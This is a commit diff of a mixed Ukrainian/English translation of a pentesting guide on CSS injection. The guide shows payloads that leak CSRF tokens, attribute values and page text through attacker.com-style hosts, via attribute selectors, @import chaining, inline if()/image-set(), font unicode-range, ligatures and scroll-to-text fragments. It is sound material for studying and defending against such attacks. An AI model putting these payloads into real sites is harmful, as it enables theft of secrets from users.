Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md']

This commit is contained in:
Translator 2025-08-29 00:19:14 +00:00
parent 8345859139
commit 2d0246aed6

View File

@ -4,9 +4,9 @@
## CSS Injection
### Attribute Selector
### Атрибутний селектор
CSS селектори створені для відповідності значенням атрибутів `name` та `value` елемента `input`. Якщо атрибут значення елемента введення починається з певного символу, завантажується попередньо визначений зовнішній ресурс:
CSS-селектори створюються так, щоб відповідати значенням атрибутів `name` та `value` елемента `input`. Якщо атрибут value елемента `input` починається з певного символу, завантажується попередньо визначений зовнішній ресурс:
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
Однак цей підхід стикається з обмеженням при роботі з прихованими елементами введення (`type="hidden"`), оскільки приховані елементи не завантажують фони.
Однак цей підхід має обмеження при роботі з прихованими input-елементами (`type="hidden"`), оскільки приховані елементи не завантажують фонові зображення.
#### Обхід для прихованих елементів
Щоб обійти це обмеження, ви можете націлитися на наступний сусідній елемент, використовуючи комбінацію сусідніх елементів `~`. Правило CSS тоді застосовується до всіх сусідніх елементів, що йдуть після прихованого елемента введення, що призводить до завантаження фонової картинки:
Щоб обійти це обмеження, ви можете націлитися на наступний сусідній елемент за допомогою загального комбінатора сусідніх елементів `~`. Правило CSS тоді застосовується до всіх елементів, що йдуть після прихованого input-елемента, в результаті чого фонове зображення завантажується:
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Практичний приклад використання цієї техніки детально описаний у наданому фрагменті коду. Ви можете переглянути його [тут](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
Практичний приклад експлуатації цієї техніки детально описано в наведеному фрагменті коду. Ви можете переглянути його [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Передумови для CSS-ін'єкції
#### Prerequisites for CSS Injection
Для того щоб техніка CSS-ін'єкції була ефективною, повинні бути виконані певні умови:
Щоб техніка CSS Injection була ефективною, повинні бути виконані певні умови:
1. **Довжина Payload**: Вектор CSS-ін'єкції повинен підтримувати достатньо довгі payload для розміщення створених селекторів.
2. **Повторна оцінка CSS**: Ви повинні мати можливість оформити сторінку, що необхідно для виклику повторної оцінки CSS з новоствореними payload.
3. **Зовнішні ресурси**: Техніка передбачає можливість використання зовнішньо розміщених зображень. Це може бути обмежено політикою безпеки контенту (CSP) сайту.
1. **Payload Length**: CSS injection vector має підтримувати достатньо довгі payloads, щоб вмістити сконструйовані селектори.
2. **CSS Re-evaluation**: Ви повинні мати можливість фреймити сторінку, що необхідно для ініціації повторної оцінки CSS з новими payloads.
3. **External Resources**: Техніка передбачає можливість використання зовнішньо розміщених зображень. Це може бути обмежено Content Security Policy (CSP) сайту.
### Сліпий селектор атрибутів
### Blind Attribute Selector
Як [**пояснено в цьому пості**](https://portswigger.net/research/blind-css-exfiltration), можливо поєднати селектори **`:has`** та **`:not`**, щоб ідентифікувати контент навіть з сліпих елементів. Це дуже корисно, коли ви не знаєте, що знаходиться всередині веб-сторінки, що завантажує CSS-ін'єкцію.\
Також можливо використовувати ці селектори для витягування інформації з кількох блоків одного типу, як у:
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. Це дуже корисно, коли ви не маєте уявлення про вміст веб-сторінки, яка завантажує CSS injection.\
Також можна використовувати ці селектори для витягнення інформації з кількох блоків одного типу, як у:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -52,59 +52,95 @@ background: url(/m);
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
```
Об'єднуючи це з наступною технікою **@import**, можливо ексфільтрувати багато **інформації за допомогою CSS-ін'єкції з сліпих сторінок з** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
Попередня техніка має деякі недоліки, перевірте вимоги. Вам потрібно або **надіслати кілька посилань жертві**, або ви повинні мати можливість **вставити в iframe сторінку, вразливу до CSS-ін'єкції**.
Попередня техніка має деякі недоліки — перевірте передумови. Вам потрібно або мати можливість **відправити кілька посилань жертві**, або мати можливість **iframe the CSS injection vulnerable page**.
Однак є ще одна хитра техніка, яка використовує **CSS `@import`** для покращення якості техніки.
Однак існує інша хитра техніка, яка використовує **CSS `@import`** для покращення якості техніки.
Це вперше показав [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) і це працює так:
Це вперше показав [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) і працює вона так:
Замість того, щоб завантажувати одну й ту ж сторінку знову і знову з десятками різних payload'ів щоразу (як у попередньому випадку), ми будемо **завантажувати сторінку лише один раз і лише з імпортом на сервер атакуючого** (це payload, який потрібно надіслати жертві):
Замість того, щоб завантажувати ту саму сторінку знову і знову з десятками різних payload щоразу (як у попередньому випадку), ми збираємося **завантажити сторінку лише один раз і лише з @import на сервер атакуючого** (це payload, який потрібно відправити жертві):
```css
@import url("//attacker.com:5001/start?");
```
1. Імпорт буде **отримувати деякий CSS скрипт** від атакуючих, і **браузер завантажить його**.
2. Перша частина CSS скрипту, яку надішле атакуючий, буде **іншим `@import` на сервер атакуючих знову.**
1. Сервер атакуючих поки що не відповість на цей запит, оскільки ми хочемо витікати деякі символи, а потім відповісти на цей імпорт з корисним навантаженням, щоб витікати наступні.
3. Друга і більша частина корисного навантаження буде **корисним навантаженням для витоку селектора атрибутів**
1. Це надішле на сервер атакуючих **перший символ секрету та останній.**
4. Як тільки сервер атакуючих отримає **перший і останній символ секрету**, він **відповість на імпорт, запитаний на етапі 2**.
1. Відповідь буде точно такою ж, як **на етапах 2, 3 і 4**, але цього разу вона спробує **знайти другий символ секрету, а потім передостанній**.
1. Імпорт отримає від зловмисників **CSS script** і **браузер його завантажить**.
2. Перша частина CSS script, яку надішле атакуючий, — це **ще один `@import` до сервера атакуючих знову.**
1. Сервер атакуючих поки не відповідатиме на цей запит, оскільки ми хочемо leak кілька символів, а потім відповісти на цей import з payload, щоб leak наступні.
3. Друга і більша частина payload буде **attribute selector leakage payload**
1. Це відправить на сервер атакуючих **перший символ секрету і останній**
4. Як тільки сервер атакуючих отримає **перший і останній символ секрету**, він **відповість на import, запитаний у кроці 2**.
1. Відповідь буде точно така ж, як у **кроках 2, 3 і 4**, але цього разу вона спробує **знайти другий символ секрету, а потім передостанній**.
Атакуючий **продовжить цей цикл, поки не зможе повністю витікати секрет**.
Атакуючий буде f**ollow that loop until it manages to leak completely the secret**.
Ви можете знайти оригінальний [**код Пепе Віли для експлуатації цього тут**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) або ви можете знайти майже [**той же код, але з коментарями тут**.](#css-injection)
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
> [!NOTE]
> Скрипт намагатиметься виявити 2 символи щоразу (з початку і з кінця), оскільки селектор атрибутів дозволяє робити такі речі:
> [!TIP]
> Скрипт буде намагатися відкривати по 2 символи щоразу (з початку і з кінця), тому що attribute selector дозволяє робити такі речі:
>
> ```css
> /* value^= для відповідності початку значення*/
> /* value^= to match the beggining of the value*/
> input[value^="0"] {
> --s0: url(http://localhost:5001/leak?pre=0);
> --s0: url(http://localhost:5001/leak?pre=0);
> }
>
> /* value$= для відповідності кінцю значення*/
> /* value$= to match the ending of the value*/
> input[value$="f"] {
> --e0: url(http://localhost:5001/leak?post=f);
> --e0: url(http://localhost:5001/leak?post=f);
> }
> ```
>
> Це дозволяє скрипту швидше витікати секрет.
> Це дозволяє скрипту faster витягувати секрет.
> [!WARNING]
> Іноді скрипт **не виявляє правильно, що префікс + суфікс, що були виявлені, вже є повним флагом** і продовжить вперед (в префіксі) і назад (в суфіксі), і в якийсь момент він зависне.\
> Не хвилюйтеся, просто перевірте **вихідні дані**, тому що **ви можете побачити флаг там**.
> Іноді скрипт **неправильно визначає, що знайдені префікс + суфікс уже є повним flag**, і він продовжить вперед (в префіксі) і назад (в суфіксі) і в якийсь момент зависне.\
> Не хвилюйтеся, просто перевірте **output**, оскільки **ви можете побачити flag там**.
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
> [!WARNING]
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sink: контролюйте style attribute елемента і переконайтеся, що цільовий атрибут знаходиться на тому ж елементі (attr() читає лише атрибути того самого елемента).
- Read: скопіюйте атрибут у CSS-перемінну: `--val: attr(title)`.
- Decide: оберіть URL за допомогою вкладених умовних виразів, порівнюючи перемінну зі строковими кандидатами: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate: застосуйте `background: image-set(var(--steal))` (або будь-яку властивість, що викликає завантаження) щоб примусити запит до вибраної кінцевої точки.
Attempt (does not work; single quotes in comparison):
```html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
```
Робочий payload (для порівняння потрібні подвійні лапки):
```html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
```
Перерахування значень атрибутів із вкладеними умовами:
```html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
```
Реалістичне демо (перевірка імен користувачів):
```html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
```
Примітки та обмеження:
- Працює на браузерах на базі Chromium на момент дослідження; поведінка може відрізнятися на інших рушіях.
- Найкраще підходить для скінчених/перелічуваних просторів значень (IDs, flags, short usernames). Викрадення довільно довгих рядків без зовнішніх стилів залишається складним.
- Будь-яка CSS-властивість, яка отримує URL, може бути використана для тригеру запиту (e.g., background/image-set, border-image, list-style, cursor, content).
Автоматизація: Burp Custom Action може згенерувати nested inline-style payloads для brute-force значень атрибутів: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
### Інші селектори
Інші способи доступу до частин DOM з **CSS селекторами**:
Інші способи доступу до частин DOM за допомогою **CSS selectors**:
- **`.class-to-search:nth-child(2)`**: Це буде шукати другий елемент з класом "class-to-search" в DOM.
- **`:empty`** селектор: Використовується, наприклад, в [**цьому описі**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
- **`.class-to-search:nth-child(2)`**: Це знайде другий елемент з класом "class-to-search" у DOM.
- **`:empty`** селектор: Використовується, наприклад, в [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty {
@ -112,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
}
```
### Помилковий XS-Search
### Error based XS-Search
**Посилання:** [CSS на основі атаки: Зловживання unicode-range @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC від @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Загальна мета полягає в тому, щоб **використовувати власний шрифт з контрольованої точки доступу** і забезпечити, щоб **текст (в даному випадку, 'A') відображався цим шрифтом лише в тому випадку, якщо вказаний ресурс (`favicon.ico`) не може бути завантажений**.
Загальна ідея полягає в тому, щоб **use a custom font from a controlled endpoint** та забезпечити, щоб **text (in this case, 'A') is displayed with this font only if the specified resource (`favicon.ico`) cannot be loaded**.
```html
<!DOCTYPE html>
<html>
@ -138,49 +174,49 @@ font-family: "poc";
</body>
</html>
```
1. **Використання Користувацького Шрифту**:
1. **Використання користувацького шрифту**:
- Користувацький шрифт визначається за допомогою правила `@font-face` в `<style>` тегу в секції `<head>`.
- Шрифт називається `poc` і завантажується з зовнішнього кінцевого пункту (`http://attacker.com/?leak`).
- Властивість `unicode-range` встановлена на `U+0041`, націлюючись на конкретний символ Юнікоду 'A'.
- Користувацький шрифт визначено за допомогою правила `@font-face` всередині тега `<style>` в секції `<head>`.
- Шрифт названо `poc` і він завантажується з зовнішнього endpoint (`http://attacker.com/?leak`).
- Властивість `unicode-range` встановлено в `U+0041`, що націлено на конкретний Unicode-символ 'A'.
2. **Елемент Object з Резервним Текстом**:
- Створено `<object>` елемент з `id="poc0"` в секції `<body>`. Цей елемент намагається завантажити ресурс з `http://192.168.0.1/favicon.ico`.
- `font-family` для цього елемента встановлено на `'poc'`, як визначено в секції `<style>`.
- Якщо ресурс (`favicon.ico`) не вдається завантажити, резервний контент (літера 'A') всередині тегу `<object>` відображається.
- Резервний контент ('A') буде відображено за допомогою користувацького шрифту `poc`, якщо зовнішній ресурс не може бути завантажено.
2. **Елемент `<object>` з запасним текстом**:
- В секції `<body>` створено елемент `<object>` з `id="poc0"`. Цей елемент намагається завантажити ресурс з `http://192.168.0.1/favicon.ico`.
- Для цього елементу `font-family` встановлено в `'poc'`, як визначено в секції `<style>`.
- Якщо ресурс (`favicon.ico`) не завантажиться, відобразиться запасний контент (буква 'A') всередині тега `<object>`.
- Запасний контент ('A') буде відрендерено з використанням користувацького шрифту `poc`, якщо зовнішній ресурс не може бути завантажений.
### Стилізація Фрагмента Тексту для Прокрутки
### Стилізація Scroll-to-Text Fragment
Псевдоклас **`:target`** використовується для вибору елемента, на який націлений **фрагмент URL**, як зазначено в [специфікації CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Важливо розуміти, що `::target-text` не відповідає жодним елементам, якщо текст не націлений явно фрагментом.
Псевдоклас **`:target`** використовується для вибору елемента, на який вказує **фрагмент URL**, як зазначено в [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Важливо розуміти, що `::target-text` не відповідає жодним елементам, якщо текст явно не націлений фрагментом.
Проблема безпеки виникає, коли зловмисники експлуатують функцію **Scroll-to-text** фрагмента, що дозволяє їм підтвердити наявність конкретного тексту на веб-сторінці, завантажуючи ресурс з їхнього сервера через HTML-ін'єкцію. Метод полягає в ін'єкції CSS правила, як це:
Проблема безпеки виникає, коли зловмисники експлуатують функцію **Scroll-to-text** fragment, що дозволяє їм підтвердити наявність певного тексту на веб-сторінці, завантаживши ресурс з їхнього сервера через HTML injection. Метод включає ін'єкцію CSS-правила такого вигляду:
```css
:target::before {
content: url(target.png);
}
```
У таких сценаріях, якщо текст "Administrator" присутній на сторінці, ресурс `target.png` запитується з сервера, що вказує на наявність тексту. Приклад цієї атаки можна виконати через спеціально підготовлене URL, яке вбудовує ін'єкційний CSS разом з фрагментом Scroll-to-text:
У таких сценаріях, якщо на сторінці присутній текст "Administrator", то з сервера запитується ресурс `target.png`, що вказує на наявність цього тексту. Екземпляр цієї атаки можна виконати через спеціально сформований URL, який вбудовує інжектований CSS разом із Scroll-to-text fragment:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Тут атака маніпулює HTML-ін'єкцією для передачі CSS-коду, націлюючись на конкретний текст "Administrator" через фрагмент Scroll-to-text (`#:~:text=Administrator`). Якщо текст знайдено, вказаний ресурс завантажується, ненавмисно сигналізуючи про свою присутність атакуючому.
Тут атака маніпулює HTML injection, щоб передати CSS-код, орієнтований на конкретний текст "Administrator" через Scroll-to-text fragment (`#:~:text=Administrator`). Якщо текст знайдено, вказаний ресурс завантажується, ненавмисно сигналізуючи про його наявність нападнику.
Для пом'якшення ризиків слід звернути увагу на такі пункти:
Для пом'якшення ризику слід врахувати такі моменти:
1. **Обмежене співвідношення STTF**: Фрагмент Scroll-to-text (STTF) призначений для співвідношення лише слів або речень, тим самим обмежуючи його здатність витікати випадкові секрети або токени.
2. **Обмеження до верхнього рівня контекстів перегляду**: STTF працює виключно в контекстах верхнього рівня перегляду і не функціонує в iframe, що робить будь-яку спробу експлуатації більш помітною для користувача.
3. **Необхідність активації користувачем**: STTF вимагає жесту активації користувача для роботи, що означає, що експлуатації можливі лише через ініційовану користувачем навігацію. Ця вимога значно зменшує ризик автоматизації атак без взаємодії з користувачем. Проте автор блогу вказує на специфічні умови та обходи (наприклад, соціальна інженерія, взаємодія з поширеними розширеннями браузера), які можуть полегшити автоматизацію атаки.
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) призначений для співпадання лише зі словами або реченнями, таким чином обмежуючи його здатність leak arbitrary secrets or tokens.
2. **Restriction to Top-level Browsing Contexts**: STTF працює виключно в top-level browsing contexts і не функціонує в iframes, що робить будь-яку exploitation attempt більш помітною для користувача.
3. **Necessity of User Activation**: STTF потребує user-activation gesture для роботи, тобто exploitations можливі лише через user-initiated navigations. Ця вимога значно знижує ризик автоматизованих атак без взаємодії користувача. Тим не менш, автор статті в блозі вказує на специфічні умови та bypasses (наприклад, social engineering, взаємодія з поширеними browser extensions), які можуть спростити автоматизацію атаки.
Обізнаність про ці механізми та потенційні вразливості є ключовою для підтримки веб-безпеки та захисту від таких експлуатаційних тактик.
Обізнаність про ці механізми та потенційні вразливості є ключовою для підтримки веб-безпеки та захисту від таких exploitative tactics.
Для отримання додаткової інформації перегляньте оригінальний звіт: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Ви можете перевірити [**експлойт, що використовує цю техніку для CTF тут**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
Ви можете переглянути an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Ви можете вказати **зовнішні шрифти для специфічних значень unicode**, які будуть **збиратися лише якщо ці значення unicode присутні** на сторінці. Наприклад:
Ви можете вказати **зовнішні шрифти для конкретних unicode-значень**, які будуть **завантажені лише якщо ці unicode-значення присутні** на сторінці. Наприклад:
```html
<style>
@font-face {
@ -206,25 +242,25 @@ font-family: poc;
<p id="sensitive-information">AB</p>
htm
```
Коли ви отримуєте доступ до цієї сторінки, Chrome і Firefox отримують "?A" і "?B", оскільки текстовий вузол чутливої інформації містить символи "A" і "B". Але Chrome і Firefox не отримують "?C", оскільки він не містить "C". Це означає, що ми змогли прочитати "A" і "B".
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
### Витік текстового вузла (I): лігатури <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Посилання:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
**Reference:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
Описана техніка передбачає витягування тексту з вузла шляхом використання лігатур шрифтів і моніторингу змін ширини. Процес складається з кількох етапів:
Описана техніка полягає у вилученні тексту з вузла шляхом використання лігатур шрифту та відстеження змін ширини. Процес складається з кількох кроків:
1. **Створення кастомних шрифтів**:
1. **Creation of Custom Fonts**:
- SVG шрифти створюються з гліфами, які мають атрибут `horiz-adv-x`, що встановлює велику ширину для гліфа, що представляє двосимвольну послідовність.
- Приклад SVG гліфа: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, де "XY" позначає двосимвольну послідовність.
- SVG fonts створюються з glyph'ами, що мають атрибут `horiz-adv-x`, який задає велику ширину для glyph, що представляє послідовність з двох символів.
- Example SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, where "XY" denotes a two-character sequence.
- Ці шрифти потім конвертуються у формат woff за допомогою fontforge.
2. **Виявлення змін ширини**:
2. **Detection of Width Changes**:
- CSS використовується для забезпечення того, щоб текст не переносився (`white-space: nowrap`) і для налаштування стилю смуги прокрутки.
- Поява горизонтальної смуги прокрутки, стилізованої особливим чином, слугує індикатором (оракулом) того, що певна лігатура, а отже, певна послідовність символів, присутня в тексті.
- CSS, що використовується:
- У CSS забезпечують, щоб текст не переносився (`white-space: nowrap`) і налаштовують стиль смуги прокрутки.
- Поява горизонтальної смуги прокрутки, стилізованої особливим чином, виступає індикатором (oracle) того, що конкретна лігатура, а отже й конкретна послідовність символів, присутня в тексті.
- The CSS involved:
```css
body {
white-space: nowrap;
@ -237,30 +273,30 @@ background: url(http://attacker.com/?leak);
}
```
3. **Процес експлуатації**:
3. **Exploit Process**:
- **Крок 1**: Створюються шрифти для пар символів з великою шириною.
- **Крок 2**: Використовується трюк на основі смуги прокрутки для виявлення, коли великий гліф (лігатура для пари символів) відображається, що вказує на наявність послідовності символів.
- **Крок 3**: Після виявлення лігатури генеруються нові гліфи, що представляють трисимвольні послідовності, включаючи виявлену пару та додаючи попередній або наступний символ.
- **Крок 4**: Виявлення трисимвольної лігатури здійснюється.
- **Крок 5**: Процес повторюється, поступово розкриваючи весь текст.
- **Step 1**: Fonts are created for pairs of characters with substantial width.
- **Step 2**: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence.
- **Step 3**: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character.
- **Step 4**: Detection of the three-character ligature is carried out.
- **Step 5**: The process repeats, progressively revealing the entire text.
4. **Оптимізація**:
- Поточний метод ініціалізації за допомогою `<meta refresh=...` не є оптимальним.
- Більш ефективний підхід може включати трюк CSS `@import`, що підвищує продуктивність експлуатації.
4. **Optimization**:
- The current initialization method using `<meta refresh=...` is not optimal.
- A more efficient approach could involve the CSS `@import` trick, enhancing the exploit's performance.
### Витік текстового вузла (II): витік кодування з використанням шрифту за замовчуванням (не вимагає зовнішніх ресурсів) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Посилання:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Цей трюк був опублікований у цій [**тематичній гілці Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Кодування, що використовується в текстовому вузлі, може бути витягнуто **за допомогою шрифтів за замовчуванням**, встановлених у браузері: зовнішні - або кастомні - шрифти не потрібні.
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Набір символів (charset), який використовується в текстовому вузлі, може бути leaked **using the default fonts**, встановленими в браузері: зовнішні або кастомні шрифти не потрібні.
Концепція полягає у використанні анімації для поступового розширення ширини `div`, що дозволяє одному символу за раз переходити з частини тексту 'суфікс' до частини 'префікс'. Цей процес ефективно розділяє текст на дві секції:
Концепція полягає в використанні анімації для поступового розширення ширини `div`, що дозволяє по одному символу переходити з 'suffix' частини тексту в 'prefix' частину. Цей процес фактично розбиває текст на дві секції:
1. **Префікс**: Початкова лінія.
2. **Суфікс**: Наступна лінія(і).
1. **Prefix**: початковий рядок.
2. **Suffix**: наступний(і) рядки.
Стадії переходу символів виглядатимуть наступним чином:
Стадії переходу символів виглядали б так:
**C**\
ADB
@ -273,15 +309,15 @@ B
**CADB**
Під час цього переходу використовується **трюк unicode-range** для виявлення кожного нового символу, коли він приєднується до префікса. Це досягається шляхом зміни шрифту на Comic Sans, який помітно вищий за шрифт за замовчуванням, внаслідок чого з'являється вертикальна смуга прокрутки. Поява цієї смуги прокрутки непрямо вказує на наявність нового символу в префіксі.
Під час цього переходу застосовується трюк `unicode-range` для ідентифікації кожного нового символу, коли він приєднується до prefix. Це досягається переключенням шрифту на Comic Sans, який помітно вищий за шрифт за замовчуванням, в результаті чого з'являється вертикальна смуга прокрутки. Поява цієї смуги побічно вказує на наявність нового символу в prefix.
Хоча цей метод дозволяє виявляти унікальні символи, коли вони з'являються, він не вказує, який символ повторюється, лише те, що відбулася повторення.
Although this method allows the detection of unique characters as they appear, it does not specify which character is repeated, only that a repetition has occurred.
> [!NOTE]
> В основному, **unicode-range використовується для виявлення символу**, але оскільки ми не хочемо завантажувати зовнішній шрифт, нам потрібно знайти інший спосіб.\
> Коли **символ** **знайдено**, йому **надається** попередньо встановлений **шрифт Comic Sans**, який **збільшує** символ і **викликає смугу прокрутки**, яка **викриває знайдений символ**.
> [!TIP]
> Basically, the **unicode-range is used to detect a char**, but as we don't want to load an external font, we need to find another way.\
> When the **char** is **found**, it's **given** the pre-installed **Comic Sans font**, which **makes** the char **bigger** and **triggers a scroll bar** which will **leak the found char**.
Перевірте код, витягнутий з PoC:
Check the code extracted from the PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
@ -706,17 +742,17 @@ div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Text node exfiltration (III): витік набору символів з використанням шрифту за замовчуванням шляхом приховування елементів (не вимагає зовнішніх ресурсів) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** Це згадується як [невдале рішення в цьому звіті](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Цей випадок дуже схожий на попередній, однак у цьому випадку мета зробити конкретні **символи більшими за інші, щоб приховати щось** на кшталт кнопки, щоб її не натиснув бот, або зображення, яке не буде завантажено. Таким чином, ми могли б виміряти дію (або відсутність дії) і дізнатися, чи присутній конкретний символ у тексті.
Цей випадок дуже схожий на попередній, проте тут мета зробити певні **chars** більшими за інші, щоб сховати щось — наприклад кнопку, яку бот не натисне, або зображення, яке не завантажиться. Таким чином ми можемо виміряти дію (або її відсутність) і дізнатися, чи присутній певний char у тексті.
### Text node exfiltration (III): витік набору символів за допомогою таймінгу кешу (не вимагає зовнішніх ресурсів) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** Це згадується як [невдале рішення в цьому звіті](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
У цьому випадку ми могли б спробувати витікати, чи є символ у тексті, завантажуючи фейковий шрифт з того ж походження:
У цьому випадку ми можемо спробувати leak, щоб перевірити, чи є певний char у тексті, завантаживши фейковий шрифт з того самого origin:
```css
@font-face {
font-family: "A1";
@ -724,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Якщо є збіг, **шрифт буде завантажено з `/static/bootstrap.min.css?q=1`**. Хоча він не завантажиться успішно, **браузер повинен його кешувати**, і навіть якщо кешу немає, існує механізм **304 not modified**, тому **відповідь повинна бути швидшою** за інші.
